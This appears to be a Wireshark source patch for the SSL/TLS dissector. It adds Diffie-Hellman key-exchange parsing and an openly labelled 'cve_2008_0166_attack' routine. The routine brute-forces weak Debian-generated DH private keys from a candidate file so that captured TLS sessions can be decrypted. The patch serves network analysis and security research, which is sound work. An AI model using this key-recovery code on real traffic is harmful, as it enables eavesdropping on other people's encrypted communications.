Index: epan/dissectors/packet-ssl-utils.c
===================================================================
--- epan/dissectors/packet-ssl-utils.c	(revision 25765)
+++ epan/dissectors/packet-ssl-utils.c	(working copy)
@@ -564,10 +564,33 @@
     str->data_len = len;
 }
 
+void
+ssl_get_se_data(tvbuff_t *tvb, gint offset, guint len, StringInfo* buf)
+{
+    buf->data = se_alloc(len);
+    buf->data_len = len;
+    tvb_memcpy(tvb, buf->data, offset, len);
+}
+
 #ifdef HAVE_LIBGNUTLS
 
 static gint ver_major, ver_minor, ver_patch;
 
+static void
+ssl_debug_mpi(const char* msg, gcry_mpi_t key)
+{
+#ifdef SSL_DECRYPT_DEBUG
+    gcry_error_t err;
+    unsigned char h_p[4096]; 
+    err=gcry_mpi_print(GCRYMPI_FMT_HEX, h_p, 4096, NULL, key);
+
+    if (err == 0)
+        ssl_debug_printf("%s %s\n", msg,h_p);
+    else
+        ssl_debug_printf("%s <unprintable mpi>\n", msg);
+#endif
+}
+
 /* hmac abstraction layer */
 #define SSL_HMAC gcry_md_hd_t
 
@@ -711,14 +734,23 @@
     gint gcry_modes[]={GCRY_CIPHER_MODE_STREAM,GCRY_CIPHER_MODE_CBC};
     gint err;
     err = gcry_cipher_open(cipher, algo, gcry_modes[mode], 0);
-    if (err !=0)
+    if (err !=0) {
+        ssl_debug_printf("ssl_cipher_init(): can't open cipher %d mode %d(%d): %s\n", 
+                         algo, gcry_modes[mode], mode, gcry_strerror(err));
         return  -1;
+    }
     err = gcry_cipher_setkey(*(cipher), sk, gcry_cipher_get_algo_keylen (algo));
-    if (err != 0)
+    if (err != 0) {
+        ssl_debug_printf("ssl_cipher_init(): can't set private key (keylen%d): %s\n", 
+                         gcry_cipher_get_algo_keylen (algo), gcry_strerror(err));
         return -1;
+    }
     err = gcry_cipher_setiv(*(cipher), iv, gcry_cipher_get_algo_blklen (algo));
-    if (err != 0)
+    if (err != 0) {
+        ssl_debug_printf("ssl_cipher_init(): can't set iv (blocklen %d): %s\n",
+             gcry_cipher_get_algo_blklen (algo), gcry_strerror(err));
         return -1;
+    }
     return 0;
 }
 static inline gint
@@ -753,6 +785,54 @@
 _gcry_rsa_decrypt (int algo, gcry_mpi_t *result, gcry_mpi_t *data,
                    gcry_mpi_t *skey, gint flags);
 
+static int
+ssl_get_pre_master(guint len, guchar* pre_master, gcry_mpi_t text, int strip)
+{
+    guint i, offset, mpi_len;
+    guchar* pre_master_ptr;
+    gcry_error_t err;
+
+    if ((err = gcry_mpi_print( GCRYMPI_FMT_USG, 0, 0, &mpi_len, text)) != 0) {
+        ssl_debug_printf("ssl_get_pre_master: can't get pre master secret len: %s",
+                gcry_strerror(err));
+        return 0;
+    }
+
+    /* sanity check on out buffer */
+    if (mpi_len > len) {
+        ssl_debug_printf("ssl_get_pre_master: pre master data is too long ?!? (%d max %d)\n",
+            mpi_len, len);
+        return 0;
+    }
+
+    /* write plain text to newly allocated buffer */
+    pre_master_ptr = pre_master;
+    if ((err = gcry_mpi_print( GCRYMPI_FMT_USG, pre_master_ptr, len, &mpi_len,
+            text)) != 0) {
+        ssl_debug_printf("ssl_get_pre_master: can't print decr data to mpi (size %d):%s\n",
+            mpi_len, gcry_strerror(err));
+        return 0;
+    }
+
+    /* strip the padding*/
+    offset = 0;
+    if (strip) {
+        for (i = 1; i < mpi_len; i++) {
+            if (pre_master_ptr[i] == 0) {
+                offset = i+1;
+                break;
+            }
+        }
+
+        ssl_debug_printf("ssl_get_pre_master: stripping %d bytes, decr_len %d\n",
+            offset, mpi_len);
+        ssl_print_data("unstrip_pre_master", pre_master_ptr, mpi_len);
+        g_memmove(pre_master_ptr, &pre_master_ptr[offset], mpi_len - offset);
+    }
+    ssl_print_data("striped_pre_master", pre_master_ptr, mpi_len - offset);
+    return mpi_len - offset;
+}
+
 #define PUBKEY_FLAG_NO_BLINDING (1 << 0)
 
 /* decrypt data with private key. Store decrypted data directly into input
@@ -845,39 +925,13 @@
 out:
     gcry_sexp_release(s_plain);
 #else /* SSL_FAST */
-    rc = _gcry_rsa_decrypt(0, &text,  &encr_mpi, pk,0);
-    gcry_mpi_print( GCRYMPI_FMT_USG, 0, 0, &decr_len, text);
-
-    /* sanity check on out buffer */
-    if (decr_len > len) {
-        ssl_debug_printf("pcry_private_decrypt: decrypted data is too long ?!? (%d max %d)\n",
-            decr_len, len);
-        return 0;
+    if ((rc = _gcry_rsa_decrypt(0, &text,  &encr_mpi, pk,0)) != 0) {
+        ssl_debug_printf("ssl_private_decrypt failed: rsa decrypt error %s\n", 
+                    gcry_strerror (rc));
+        decr_len = 0;
     }
-
-    /* write plain text to newly allocated buffer */
-    decr_data_ptr = encr_data;
-    if (gcry_mpi_print( GCRYMPI_FMT_USG, decr_data_ptr, decr_len, &decr_len,
-            text) != 0) {
-        ssl_debug_printf("pcry_private_decrypt: can't print decr data to mpi (size %d):%s\n",
-            decr_len, gcry_strerror(rc));
-        return 0;
-    }
-
-    /* strip the padding*/
-    rc = 0;
-    for (i = 1; i < decr_len; i++) {
-        if (decr_data_ptr[i] == 0) {
-            rc = i+1;
-            break;
-        }
-    }
-
-    ssl_debug_printf("pcry_private_decrypt: stripping %d bytes, decr_len %d\n",
-        rc, decr_len);
-    ssl_print_data("decrypted_unstrip_pre_master", decr_data_ptr, decr_len);
-    g_memmove(decr_data_ptr, &decr_data_ptr[rc], decr_len - rc);
-    decr_len -= rc;
+    else
+        decr_len = ssl_get_pre_master(len, encr_data, text, 1);
 #endif /* SSL_FAST */
     gcry_mpi_release(text);
     return decr_len;
@@ -957,6 +1011,7 @@
     {47,KEX_RSA,SIG_RSA,ENC_AES,16,128,128,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC},
     {51,KEX_DH, SIG_RSA,ENC_AES,16,128,128,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC},
     {53,KEX_RSA,SIG_RSA,ENC_AES256,16,256,256,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC},
+    {57,KEX_DH, SIG_RSA,ENC_AES256,16,256,256,DIG_SHA,20,0, SSL_CIPHER_MODE_CBC},
     {96,KEX_RSA,SIG_RSA,ENC_RC4,1,128,56,DIG_MD5,16,1, SSL_CIPHER_MODE_STREAM},
     {97,KEX_RSA,SIG_RSA,ENC_RC2,1,128,56,DIG_MD5,16,1, SSL_CIPHER_MODE_STREAM},
     {98,KEX_RSA,SIG_RSA,ENC_DES,8,64,64,DIG_SHA,20,1, SSL_CIPHER_MODE_STREAM},
@@ -998,7 +1053,6 @@
     ptr=out->data;
     left=out->data_len;
 
-
     ssl_print_string("tls_hash: hash secret", secret);
     ssl_print_string("tls_hash: hash seed", seed);
     A=seed->data;
@@ -2205,6 +2259,132 @@
     sscanf(str, "%d.%d.%d", &ver_major, &ver_minor, &ver_patch);
 }
 
+GList*
+ssl_load_priv_candidates(FILE* fp)
+{
+    char each_key[1024];
+    char *end;
+    gcry_mpi_t priv_candidate;
+    GList *list = NULL;
+    gcry_error_t err;
+
+    /* each line must contain an ex number */
+    while(fgets(each_key,sizeof(each_key),fp)) {
+        end=strchr(each_key,'\n');
+        if (end) 
+            *end='\0';
+        err=gcry_mpi_scan(&priv_candidate,GCRYMPI_FMT_HEX,(unsigned char *)each_key,0,NULL);
+        if (err != 0)
+            ssl_debug_printf ("ssl_load_priv_candidates: can't make private key from %s\n", each_key);
+        else
+            list = g_list_append(list, priv_candidate);
+    }
+    return list;
+}
+
+static void free_mpi(void* mpi, void* unused _U_)
+{
+    gcry_mpi_release((gcry_mpi_t) mpi);
+}
+void
+ssl_free_candidates(GList* priv_candidates)
+{
+    g_list_foreach(priv_candidates, free_mpi, NULL);
+    g_list_free(priv_candidates);
+}
+
+static gcry_error_t
+string_to_mpi(StringInfo* str, gcry_mpi_t* mpi)
+{
+    return gcry_mpi_scan(mpi, GCRYMPI_FMT_USG, (unsigned char *) str->data,
+                         str->data_len,NULL);
+}
+
+static gint 
+ssl_set_pre_master_secret(SslDecryptSession* ssl, gcry_mpi_t pMS, guint max_pre_master_len)
+{
+    /* allocate and extract the pre master secret in USG format */
+    ssl->pre_master_secret.data = se_alloc(max_pre_master_len);
+    ssl->pre_master_secret.data_len = max_pre_master_len;
+    if (ssl_get_pre_master(ssl->pre_master_secret.data_len, ssl->pre_master_secret.data, pMS, 0) == 0)
+        return -1;
+
+    /* Remove the master secret if it was there.
+     This force keying material regeneration in
+     case we're renegotiating */
+    ssl->state &= ~(SSL_MASTER_SECRET|SSL_HAVE_SESSION_KEY);
+    ssl->state |= SSL_PRE_MASTER_SECRET;
+    return 0;
+}
+
+gint
+ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl)
+{
+    gcry_mpi_t pub_candidate, g, p, pub_client, pub_server, pMS;
+    GList* cur;
+    gint ret = -1;
+
+    if (!priv_candidates || !ssl->dh_params.pub_client.data_len ||
+                !ssl->dh_params.pub_server.data_len || !ssl->dh_params.p.data_len || 
+                !ssl->dh_params.g.data_len )
+        return ret;
+
+    /* safely allocate all required mpi */
+    if ((pMS = gcry_mpi_new(0)) == NULL)
+        goto out;
+    if ((pub_candidate = gcry_mpi_new(0)) == NULL)
+        goto free_pMS;
+    if (string_to_mpi(&(ssl->dh_params.pub_client), &pub_client) != 0)
+        goto free_pub_candidate;
+    if (string_to_mpi(&(ssl->dh_params.pub_server), &pub_server) != 0)
+        goto free_pub_client;
+    if (string_to_mpi(&(ssl->dh_params.g), &g) != 0)
+        goto free_pub_server;
+    if (string_to_mpi(&(ssl->dh_params.p), &p) != 0)
+        goto free_g;
+
+    ssl_debug_printf("cve_2008_0166 attack: brute-forcing starting\n");
+    /* TODO ask for the key lenght before try */
+    for (cur = g_list_first(priv_candidates); cur; cur = g_list_next(cur)) {
+
+        gcry_mpi_t priv_candidate = (gcry_mpi_t) cur->data;
+
+        /* breaking the client's secret */
+        gcry_mpi_powm(pub_candidate, g, priv_candidate, p);
+        if (gcry_mpi_cmp(pub_client,pub_candidate)==0) {
+            ssl_debug_mpi("cve_2008_0166 attack, found secret! the client's key is:",
+                          priv_candidate);
+            
+            gcry_mpi_powm(pMS, pub_server, priv_candidate, p);
+            ret = ssl_set_pre_master_secret(ssl, pMS, ssl->dh_params.pub_client.data_len);
+            break;
+        }
+
+        /* breaking the server's secret */
+        if (gcry_mpi_cmp(pub_server,pub_candidate)==0) {
+            ssl_debug_mpi("cve_2008_0166 attack, found secret! the server's key is:",priv_candidate);
+
+            gcry_mpi_powm(pMS, pub_client, priv_candidate, p);
+            ret = ssl_set_pre_master_secret(ssl, pMS, ssl->dh_params.pub_client.data_len);
+            break;
+        }
+    }
+
+    gcry_mpi_release(p);
+free_g:
+    gcry_mpi_release(g);
+free_pub_server:
+    gcry_mpi_release(pub_server);
+free_pub_client:
+    gcry_mpi_release(pub_client);
+free_pub_candidate:
+    gcry_mpi_release(pub_candidate);
+free_pMS:
+    gcry_mpi_release(pMS);
+out:
+    return ret;
+}
+
 #else /* HAVE_LIBGNUTLS */
 /* no libgnutl: dummy operation to keep interface consistent*/
 void
@@ -2278,6 +2458,24 @@
     return 0;
 }
 
+GList*
+ssl_load_priv_candidates(FILE* fp) 
+{ 
+    return NULL; 
+}
+
+void
+ssl_free_candidates(GList* priv_candidates)
+{
+    return;
+}
+
+gint
+ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl)
+{
+    return 0;
+}
+
 #endif /* HAVE_LIBGNUTLS */
 
 /* get ssl data for this session. if no ssl data is found allocate a new one*/
@@ -2298,6 +2496,11 @@
     ssl_session->client_data_for_iv.data = ssl_session->_client_data_for_iv;
     ssl_session->app_data_segment.data=NULL;
     ssl_session->app_data_segment.data_len=0;
+
+    ssl_session->dh_params.p.data_len = 0;
+    ssl_session->dh_params.g.data_len = 0;
+    ssl_session->dh_params.pub_server.data_len = 0;
+    ssl_session->dh_params.pub_client.data_len = 0;
 }
 
 /* Hash Functions for TLS/DTLS sessions table and private keys table*/
Index: epan/dissectors/packet-ssl-utils.h
===================================================================
--- epan/dissectors/packet-ssl-utils.h	(revision 25765)
+++ epan/dissectors/packet-ssl-utils.h	(working copy)
@@ -277,6 +277,14 @@
     SslRecordInfo* handshake_data;
 } SslPacketInfo;
 
+typedef struct {
+    /* all this stringinfos must be allocated explicitly with a capture lifetime scope */
+    StringInfo p;
+    StringInfo g;
+    StringInfo pub_server;
+    StringInfo pub_client;
+} DhParams;
+
 typedef struct _SslDecryptSession {
     guchar _master_secret[48];
     guchar _session_id[256];
@@ -306,6 +314,7 @@
     guint16 version_netorder;
     StringInfo app_data_segment;
 
+    DhParams dh_params;
 } SslDecryptSession;
 
 typedef struct _SslAssociation {
@@ -338,7 +347,7 @@
 extern void
 ssl_session_init(SslDecryptSession* ssl);
 
-/** set the data and len for the stringInfo buffer. buf should be big enough to
+/** set the data and len for the stringInfo buffer. buf must be big enough to
  * contain the provided data
  @param buf the buffer to update
  @param src the data source
@@ -346,6 +355,15 @@
 extern void
 ssl_data_set(StringInfo* buf, const guchar* src, guint len);
 
+/** extract len bytes from the provided tvbuff and copy them into buf. The
+ * data store is allocated with capture lifetime
+ @param tvb the data source
+ @param offset the data offset
+ @param len the data lenght
+ @param buf the data store */
+extern void
+ssl_get_se_data(tvbuff_t *tvb, gint offset, guint len, StringInfo* buf);
+
 extern gint
 ssl_cipher_setiv(SSL_CIPHER_CTX *cipher, guchar* iv, gint iv_len);
 
@@ -402,7 +420,26 @@
 ssl_decrypt_record(SslDecryptSession*ssl,SslDecoder* decoder, gint ct,
         const guchar* in, guint inl, StringInfo* comp_str, StringInfo* out_str, guint* outl);
 
+/* cve_2008_0166 related */
+/* load candidates private key list from file
+ @param fp file pointer to load the keys from 
+ @return the loaded keys list or 0 on failure */
+extern GList*
+ssl_load_priv_candidates(FILE* fp);
 
+/* Deallocate the candidate private key list loaded with ssl_load_priv_candidates
+ @param priv_candidates the list to be freed */
+extern void
+ssl_free_candidates(GList* priv_candidates);
+
+/* try cve_2008_0166 attack against DH params
+ @param priv_candidates list of candidate private keys to be used
+ @param ssl the ssl session status
+ @param priv the decripted private key 
+ @return 0 on success */
+extern gint
+ssl_cve_2008_0166_attack(GList* priv_candidates, SslDecryptSession* ssl);
+
 /* Common part bitween SSL and DTLS dissectors */
 /* Hash Functions for TLS/DTLS sessions table and private keys table */
 extern gint
Index: epan/dissectors/packet-ssl.c
===================================================================
--- epan/dissectors/packet-ssl.c	(revision 25765)
+++ epan/dissectors/packet-ssl.c	(working copy)
@@ -175,6 +175,15 @@
 static gint hf_ssl_handshake_cert_types_count = -1;
 static gint hf_ssl_handshake_cert_types       = -1;
 static gint hf_ssl_handshake_cert_type        = -1;
+
+/* key exchange infos */
+static gint hf_ssl_handshake_key_exchg_dh_p_len  = -1;
+static gint hf_ssl_handshake_key_exchg_dh_p      = -1;
+static gint hf_ssl_handshake_key_exchg_dh_g_len  = -1;
+static gint hf_ssl_handshake_key_exchg_dh_g      = -1;
+static gint hf_ssl_handshake_key_exchg_dh_Ys_len = -1;
+static gint hf_ssl_handshake_key_exchg_dh_Ys     = -1;
+
 static gint hf_ssl_handshake_finished         = -1;
 static gint hf_ssl_handshake_md5_hash         = -1;
 static gint hf_ssl_handshake_sha_hash         = -1;
@@ -264,6 +273,8 @@
 static gint ssl_decrypted_data_avail = 0;
 
 static gchar* ssl_keys_list = NULL;
+static gchar* ssl_cve_2008_0166_keys_list = NULL;
+static GList* ssl_cve_2008_0166_candidate_list = NULL;
 
 #if defined(SSL_DECRYPT_DEBUG) || defined(HAVE_LIBGNUTLS)
 static gchar* ssl_debug_file_name = NULL;
@@ -307,6 +318,7 @@
     ep_stack_t tmp_stack;
     SslAssociation *tmp_assoc;
     FILE *ssl_keys_file;
+    FILE *ssl_cve_2008_0166_keys_file;
     struct stat statb;
     size_t size;
     gchar *tmp_buf;
@@ -320,6 +332,11 @@
         g_hash_table_foreach(ssl_key_hash, ssl_private_key_free, NULL);
         g_hash_table_destroy(ssl_key_hash);
     }
+    if (ssl_cve_2008_0166_candidate_list)
+    {
+        ssl_free_candidates(ssl_cve_2008_0166_candidate_list);
+        ssl_cve_2008_0166_candidate_list = NULL;
+    }
 
     /* remove only associations created from key list */
     tmp_stack = ep_stack_new();
@@ -328,6 +345,24 @@
         ssl_association_remove(ssl_associations, tmp_assoc);
     }
 
+    /* if we have a candidate private key list we will try to brute force 
+     * the ssl session first */
+    if (ssl_cve_2008_0166_keys_list && (ssl_cve_2008_0166_keys_list[0] != 0))
+    {
+        if (file_exists(ssl_cve_2008_0166_keys_list)) {
+            if (!(ssl_cve_2008_0166_keys_file = ws_fopen(ssl_cve_2008_0166_keys_list, "r"))) {
+                ssl_debug_printf("\n %s this file cannot be opened \n ", ssl_cve_2008_0166_keys_list);
+                /* report_open_failure(ssl_cve_2008_0166_keys_list, errno, FALSE); */
+            } else {
+                ssl_cve_2008_0166_candidate_list = ssl_load_priv_candidates(ssl_cve_2008_0166_keys_file);
+                fclose(ssl_cve_2008_0166_keys_file);
+            }
+        } else {
+            /* TODO not implemented, the input is always a file. */
+            ssl_debug_printf("\n file %s does not exists \n ", ssl_cve_2008_0166_keys_list);
+        }
+    }
+
     /* parse private keys string, load available keys and put them in key hash*/
     ssl_key_hash = g_hash_table_new(ssl_private_key_hash,ssl_private_key_equal);
 
@@ -355,7 +390,7 @@
             ssl_parse_key_list(ssl_keys_list,ssl_key_hash,ssl_associations,ssl_handle,TRUE);
         }
     }
-	ssl_debug_flush();
+    ssl_debug_flush();
 }
 
 /*********************************************************************
@@ -417,7 +452,14 @@
                                       guint32 offset,
                                       guint* conv_version);
 
+static void dissect_ssl3_hnd_key_exchg(tvbuff_t *tvb, proto_tree *tree, 
+                                       guint32 offset, SslDecryptSession* ssl);
+ 
+static void dissect_ssl3_hnd_key_client_exchg(tvbuff_t *tvb, proto_tree *tree, 
+                                              guint32 offset,
+                                              SslDecryptSession * ssl);
 
+
 /*
  * SSL version 2 dissectors
  *
@@ -1841,7 +1883,8 @@
                 break;
 
             case SSL_HND_SERVER_KEY_EXCHG:
-                /* unimplemented */
+                /* CITEFA/SI6 */
+                dissect_ssl3_hnd_key_exchg(tvb, ssl_hand_tree, offset, ssl);
                 break;
 
             case SSL_HND_CERT_REQUEST:
@@ -1864,40 +1907,45 @@
                     guint encrlen, skip;
                     encrlen = length;
                     skip = 0;
-
+ 
+                    dissect_ssl3_hnd_key_client_exchg(tvb, ssl_hand_tree, offset, ssl);
                     if (!ssl)
                         break;
 
-                    /* get encrypted data, on tls1 we have to skip two bytes
-                     * (it's the encrypted len and should be equal to record len - 2)
-                     */
-                    if (ssl->version == SSL_VER_TLS||ssl->version == SSL_VER_TLSv1DOT1)
-                    {
-                        encrlen  = tvb_get_ntohs(tvb, offset);
-                        skip = 2;
-                        if (encrlen > length - 2)
+                    /*brute force cve 2008-0166*/
+                    if (ssl_cve_2008_0166_attack(ssl_cve_2008_0166_candidate_list, ssl) != 0) {
+                        /* get encrypted data, on tls1 we have to skip two bytes
+                         * (it's the encrypted len and should be equal to record len - 2)
+                         */
+                        if (ssl->version == SSL_VER_TLS||ssl->version == SSL_VER_TLSv1DOT1)
                         {
-                            ssl_debug_printf("dissect_ssl3_handshake wrong encrypted length (%d max %d)\n",
-                                encrlen, length);
+                            encrlen  = tvb_get_ntohs(tvb, offset);
+                            skip = 2;
+                            if (encrlen > length - 2)
+                            {
+                                ssl_debug_printf("dissect_ssl3_handshake wrong encrypted length (%d max %d)\n",
+                                    encrlen, length);
+                                break;
+                            }
+                        }
+                        encrypted_pre_master.data = se_alloc(encrlen);
+                        encrypted_pre_master.data_len = encrlen;
+                        tvb_memcpy(tvb, encrypted_pre_master.data, offset+skip, encrlen);
+
+                        if (!ssl->private_key) {
+                            ssl_debug_printf("dissect_ssl3_handshake can't find private key\n");
                             break;
                         }
-                    }
-                    encrypted_pre_master.data = se_alloc(encrlen);
-                    encrypted_pre_master.data_len = encrlen;
-                    tvb_memcpy(tvb, encrypted_pre_master.data, offset+skip, encrlen);
 
-                    if (!ssl->private_key) {
-                        ssl_debug_printf("dissect_ssl3_handshake can't find private key\n");
-                        break;
+                        /* go with ssl key processessing; encrypted_pre_master
+                         * will be used for master secret store*/
+                        ret = ssl_decrypt_pre_master_secret(ssl, &encrypted_pre_master, ssl->private_key);
+                        if (ret < 0) {
+                            ssl_debug_printf("dissect_ssl3_handshake can't decrypt pre master secret\n");
+                            break;
+                        }
                     }
 
-                    /* go with ssl key processessing; encrypted_pre_master
-                     * will be used for master secret store*/
-                    ret = ssl_decrypt_pre_master_secret(ssl, &encrypted_pre_master, ssl->private_key);
-                    if (ret < 0) {
-                        ssl_debug_printf("dissect_ssl3_handshake can't decrypt pre master secret\n");
-                        break;
-                    }
                     if (ssl_generate_keyring_material(ssl)<0) {
                         ssl_debug_printf("dissect_ssl3_handshake can't generate keyring material\n");
                         break;
@@ -2226,12 +2274,11 @@
             }
 
             ssl->state |= SSL_CIPHER;
-            ssl_debug_printf("dissect_ssl3_hnd_srv_hello found CIPHER 0x%04X -> state 0x%02X\n",
-                ssl->cipher, ssl->state);
+            ssl_debug_printf("dissect_ssl3_hnd_srv_hello found CIPHER 0x%04X -> state 0x%02X"
+                             " trying to generate keys\n", ssl->cipher, ssl->state);
 
             /* if we have restored a session now we can have enough material
              * to build session key, check it out*/
-            ssl_debug_printf("dissect_ssl3_hnd_srv_hello trying to generate keys\n");
             if (ssl_generate_keyring_material(ssl)<0) {
                 ssl_debug_printf("dissect_ssl3_hnd_srv_hello can't generate keyring material\n");
                 goto no_cipher;
@@ -2263,6 +2310,120 @@
 }
 
 static void
+dissect_ssl3_hnd_key_client_exchg(tvbuff_t *tvb, proto_tree *tree, 
+                                  guint32 offset, SslDecryptSession * ssl)
+{
+    /* enum { implicit, explicit } PublicValueEncoding;
+
+     implicit          If the client certificate already contains the
+                       public value, then it is implicit and Yc does
+                       not need to be sent again.
+     explicit          Yc needs to be sent.
+
+     struct {
+         select (PublicValueEncoding) {
+             case implicit: struct { };
+             case explicit: opaque dh_Yc<1..2^16-1>;
+         } dh_public;
+     } ClientDiffieHellmanPublic;
+
+     dh_Yc             The client's Diffie-Hellman public value (Yc).
+    */
+    guint32 dh_Yc_length;
+
+    if (tree) {
+        /* Yc */
+        dh_Yc_length = tvb_get_ntohs(tvb, offset);
+        proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_Ys_len,
+                            tvb, offset, 2, dh_Yc_length);
+
+        /* 16-bit length value */
+        offset += 2;
+        proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_Ys,
+                                tvb, offset, dh_Yc_length, FALSE);
+
+        if (ssl) {
+            ssl_get_se_data(tvb, offset, dh_Yc_length, &(ssl->dh_params.pub_client)); 
+            ssl_print_string("dissect_ssl3_hnd_key_client_exchg client public key", 
+                             &(ssl->dh_params.pub_client));
+        }
+
+        offset += dh_Yc_length;
+    }
+}
+
+static void
+dissect_ssl3_hnd_key_exchg(tvbuff_t *tvb, proto_tree *tree, guint32 offset, 
+                           SslDecryptSession * ssl)
+{
+    /* 
+    struct {
+        opaque dh_p<1..2^16-1>;
+        opaque dh_g<1..2^16-1>;
+        opaque dh_Ys<1..2^16-1>;
+    } ServerDHParams;     // Ephemeral DH parameters 
+    */
+    guint32 dh_p_length;
+    guint32 dh_g_length;
+    guint32 dh_Ys_length;
+
+    if (tree) {
+        /* P */
+        dh_p_length = tvb_get_ntohs(tvb, offset);
+        proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_p_len,
+                            tvb, offset, 2, dh_p_length);
+
+        /* 16-bit length value */
+        offset += 2;
+        proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_p,
+                                tvb, offset, dh_p_length, FALSE);
+        if (ssl) {
+            ssl_get_se_data(tvb,offset,dh_p_length, &(ssl->dh_params.p));
+            ssl_print_string("dissect_ssl3_hnd_key_exchg: DH prime number ",
+                                &(ssl->dh_params.p));
+        }
+
+        offset += dh_p_length;
+        /* G */
+        dh_g_length = tvb_get_ntohs(tvb, offset);
+        proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_g_len,
+                            tvb, offset, 2, dh_g_length);
+
+        /* 16-bit length value */
+        offset += 2;
+        proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_g,
+                                tvb, offset, dh_g_length, FALSE);
+
+        if (ssl) {
+            ssl_get_se_data(tvb,offset,dh_g_length, &(ssl->dh_params.g));
+            ssl_print_string("dissect_ssl3_hnd_key_exchg: DH generator",
+                             &(ssl->dh_params.g));
+        }
+
+        offset += dh_g_length;
+
+        /* Ys */
+        dh_Ys_length = tvb_get_ntohs(tvb, offset);
+        proto_tree_add_uint(tree, hf_ssl_handshake_key_exchg_dh_Ys_len,
+                            tvb, offset, 2, dh_Ys_length);
+
+        /* 16-bit length value */
+        offset += 2;
+        proto_tree_add_item(tree, hf_ssl_handshake_key_exchg_dh_Ys,
+                                tvb, offset, dh_Ys_length, FALSE);
+        
+        if (ssl) {
+            ssl_get_se_data(tvb,offset,dh_Ys_length, &(ssl->dh_params.pub_server));
+            ssl_print_string("dissect_ssl3_hnd_key_exchg: server public key ", 
+                             &(ssl->dh_params.pub_server));
+        }
+
+        offset += dh_Ys_length;
+        /* TODO: dissect the remaning fields */
+    }
+}
+
+static void
 dissect_ssl3_hnd_cert(tvbuff_t *tvb,
                       proto_tree *tree, guint32 offset, packet_info *pinfo)
 {
@@ -4269,6 +4430,36 @@
                 FT_NONE, BASE_NONE, NULL , 0x0,
                 "PCT Server Certificate", HFILL }
         },
+        { &hf_ssl_handshake_key_exchg_dh_p_len,
+          { "Diffie-Hellman Prime Modulus Length", "ssl.handshake.dh_p_length",
+            FT_UINT16, BASE_DEC, NULL, 0x0,
+            "Length of prime modulus field", HFILL }
+        },
+        { &hf_ssl_handshake_key_exchg_dh_p,
+          { "Diffie-Hellman Prime Modulus", "ssl.handshake.dh_p",
+            FT_BYTES, 0, NULL, 0x0,
+            "Prime modulus field (p)", HFILL }
+        },
+        { &hf_ssl_handshake_key_exchg_dh_g_len,
+          { "Diffie-Hellman Generator Length", "ssl.handshake.dh_g_length",
+            FT_UINT16, BASE_DEC, NULL, 0x0,
+            "Length of generator field", HFILL }
+        },
+        { &hf_ssl_handshake_key_exchg_dh_g,
+          { "Diffie-Hellman Generator", "ssl.handshake.dh_g",
+            FT_BYTES, 0, NULL, 0x0,
+           "Generator field (g)", HFILL }
+        },
+        { &hf_ssl_handshake_key_exchg_dh_Ys_len,
+          { "Diffie-Hellman Public Value Length", "ssl.handshake.dh_Ys_length",
+            FT_UINT16, BASE_DEC, NULL, 0x0,
+            "Length of public value field", HFILL }
+        },
+        { &hf_ssl_handshake_key_exchg_dh_Ys,
+          { "Diffie-Hellman Public Value", "ssl.handshake.dh_Ys",
+            FT_BYTES, 0, NULL, 0x0,
+            "Public Value field (Ys)", HFILL }
+        },
 		{ &hf_ssl_segment_overlap,
 		{ "Segment overlap",	"ssl.segment.overlap", FT_BOOLEAN, BASE_NONE, NULL, 0x0,
 			"Segment overlaps with other segments", HFILL }},
@@ -4352,6 +4543,12 @@
              "<key_file_name> is the local file name of the RSA private key used by the specified server "
              "(or name of the file containing such a list)",
              (const gchar **)&ssl_keys_list);
+        prefs_register_string_preference(ssl_module, "cve_2008_0166_keys_list", 
+             "Key list to attack CVE-2008-0166",
+             "File containing a list of candidate exponents to be used as DH priv keys"
+             "(only works when any of the parties is vulnerable to CVE-2008-0166)",
+             (const gchar **)&ssl_cve_2008_0166_keys_list);
+
         prefs_register_string_preference(ssl_module, "debug_file", "SSL debug file",
              "Redirect SSL debug to file name; leave empty to disable debugging, "
              "or use \"" SSL_DEBUG_USE_STDERR "\" to redirect output to stderr\n",

